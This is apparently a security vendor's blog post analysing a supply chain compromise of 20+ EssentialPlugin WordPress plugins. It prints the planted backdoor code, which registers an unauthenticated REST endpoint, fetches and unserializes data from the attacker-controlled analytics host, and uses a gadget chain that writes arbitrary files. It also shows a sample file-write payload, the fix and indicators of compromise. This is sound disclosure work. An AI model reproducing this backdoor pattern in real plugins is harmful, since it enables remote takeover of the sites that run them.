Start trial

Critical Supply Chain Compromise on 20+ Plugins by EssentialPlugin

Critical supply chain compromise affects more than 20 plugins by EssentialPlugin. 🚨

Published April 15, 2026
Ananda Dhakal avatar
Ananda Dhakal

This blog post is a technical analysis of the supply chain compromise affecting multiple plugins developed by EssentialPlugin for WordPress. A malicious party acquired EssentialPlugin, planted backdoor and triggered it across 20+ plugins to plant malware on thousands of WordPress sites.

If you are running any of the plugins developed by EssentialPlugin, update the plugins to the latest version.

Patchstack has published vulnerability entries for all of the affected plugins and released a mitigation rule that partly covers one of the exploitation scenarios.

About the Vendor

EssentialPlugin is a WordPress plugin vendor that has created a lot of open-source plugins available at wordpress.org. The vendor has developed multiple plugins with thousands of active installs including but not limited to WP Logo Showcase Responsive Slider and Carousel, Countdown Timer Ultimate, Popup Maker and Popup Anything, and more.

What Happened

As per Anchor Host, the vendor has been been developing plugins since 2015. However, in 2025, the company was sold to a buyer named β€œKris” in Flippa. After the acquisition, the first commit from the new owner was the plantation of the backdoor across all the plugins.

In September 2025, the pushed code under the commit message [*] Check compatibility with WordPress version 6.8.2 was a potential PHP object injection with a gadget chain that could be triggered if analytics.essentialplugin.com returned with a malicious serialized content. A sample innocent-looking changeset that planted the backdoor looks like this. Even though the backdoor was planted 7 months ago, it was never used until April 5, 2026.

On 7th April, the WordPress Plugins Review team confirmed the attack and removed the PHP object injection gadget chain across all the affected plugins. They closed all of the affected plugins permanently in the directory and pushed a forced security update that attempts to remove the backdoor and warn administrators.

This is a classical case of supply chain compromise that happened because the original vendor sold their plugins to a third-party which turned out to be a malicious threat actor.

How the Attack Works

As mentioned above, the backdoor only worked if analytics.essentialplugin.com returned malicious serialized payload that would get deserialized to perform arbitrary file write or execute commands.

1. The Entrypoint

The plugin register an unauthenticated REST API endpoint:

public function wpos_rest_api_init() {
    foreach ( $this->analytics_slugs as $product_slug ) {
        register_rest_route(
            $product_slug . '/v1',
            '/analytics/',
            array(
                'methods'             => 'POST',
                'callback'            => array( $this, 'wpos_handle_analytics_request' ),
                'permission_callback' => '__return_true',  // No authentication
            )
        );
    }
}

The callback function triggered by the REST API endpoint looks like this:

public function wpos_handle_analytics_request( $request ) {
	global $wpos_analytics_module;

	// Get parameters from request
	$site_id      = sanitize_text_field( $request->get_param('siteID') );
	$product_id   = sanitize_text_field( $request->get_param('productID') );
	$product_slug = sanitize_text_field( $request->get_param('productSlug') );
	$site_url     = esc_url_raw( $request->get_param('siteURL') );

//TRIMMED
		// If matching product found, proceed with analytics
		if ( $matching_product ) {
			$version = $this->wpos_get_plugin_version_by_file($matching_product['file']);
			$update_result = $this->fetch_ver_info( $product_id, $version );
			unset($update_result);
			$this->wpos_process_monthly_data( array( $matching_product['slug'] ) );

//TRIMMED
		}
		
	}

}

2. The Sink

The fetch_ver_info() method fetches a serialized PHP object from the attacker’s server:

public function fetch_ver_info( $product_id, $curr_version ) {
    $url = $this->analytics_endpoint . '/plugin_info/' . $product_id . '/'
         . '?version=' . urlencode($curr_version)
         . '&site_url=' . urlencode(get_site_url()) . '&live=1';

    $data = @file_get_contents($url);
    if (!$data) {
        $this->status = 'offline';
        return false;
    }

    $info = @unserialize($data);  // Deserializes untrusted remote data

    if ($info instanceof self) {
        $this->release_date  = $info->release_date;
        $this->status        = $info->status;
        $this->write         = $info->write;
        $this->version_cache = $info->version_cache;
        $this->changelog     = $info->changelog;
    }
}

The content from the output of the fetch request to $this->analytics_endpoint is sent to the unserialize() function. The variable has the hardcoded value of analytics.essentialplugin.com.

3. The Gadget Chain to Arbitrary File Write

By itself, PHP object injection does not have any severe security impact. However, if there is a gadget chain, it can lead to various impact ranging from arbitrary file write to file deletion and more.

The class defaults look like this:

class Wpos_Anylc_Admin {
    public $analytics_endpoint = 'https://analytics.essentialplugin.com';
    public $status             = 'unchecked';
    public $write              = 'update_option';   // Looks harmless
    public $version_cache      = 'version';          // Looks harmless
    public $changelog          = null;
    public $release_date       = null;

At first glance, $write = 'update_option' looks like a standard WordPress function reference. But after fetch_ver_info() runs, all of these properties are replaced with whatever the attacker’s server sent.

The execution happens in version_info_clean():

public function version_info_clean() {
if ($this->status === β€˜valid’ && $this->changelog && !$this->isOutdated()) {
$clean = $this->write;
@$clean($this->version_cache, $this->changelog);
}
}

The $clean variable populated through $this->write becomes file_put_contents(). The $this->version_cache acts as the destination for the malicious file and the content is written through the $this->changelog variable.

By creating the relative malicious serializated payload returned by the compromised server, the final payload becomes something like:

@file_put_contents("/var/www/html/wp-comments-posts.php", "<?php /* backdoor */ ?>");

This leads to arbitrary file write and full server compromise.

Plugin Review Team’s Incident Response

The WordPress Plugin Review team took immediate steps to stop the attack from spreading. They closed all plugins fully from wp.org to prevent more sites from getting infected. Additionally, they ensured that the PHP object injection cannot be triggered even after getting access to the compromised server.

In the new force-pushed version, the responsible code for file write has been commented out:

//@$clean($this->version_cache, $this->changelog);

Alongside, the function wpos_handle_analytics_request() directly stops the execution with the use of return; keyword in the function.

Affected Plugins

Indicators of Compromise (IOC)

Files

  • wp-comments-posts.php
  • Modifications in wp-config.php file

Conclusion

Conclusion

This incident is a textbook example of a supply chain compromise in the WordPress ecosystem. A trusted plugin vendor, EssentialPlugin, sold their portfolio of 25+ plugins on Flippa, and the new owner turned out to be a malicious actor. After the acquisition, the attacker planted a dormant backdoor across all the plugins disguised as a routine compatibility update. Seven months later, the attacker activated it by serving malicious serialized payloads through their controlled server, turning an innocent-looking analytics module into a fully weaponized backdoor that could write arbitrary files and compromise any site running the affected plugins. This case is a stark reminder that plugin ownership changes can introduce serious security risks, and site administrators should treat such transitions with caution.

Want to learn more about finding and fixing vulnerabilities?

🀝 You can help us make the Internet a safer place

Plugin developer?

Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.

Get started for free
Hosting company?

Protect your users too! Improve server health and earn added revenue with proactive security.

Patchstack for hosts
Security researcher?

Report vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.

Learn more

Like it? Share it.

Alex Sandham' avatar

Alex Sandham

Account executive

Related articles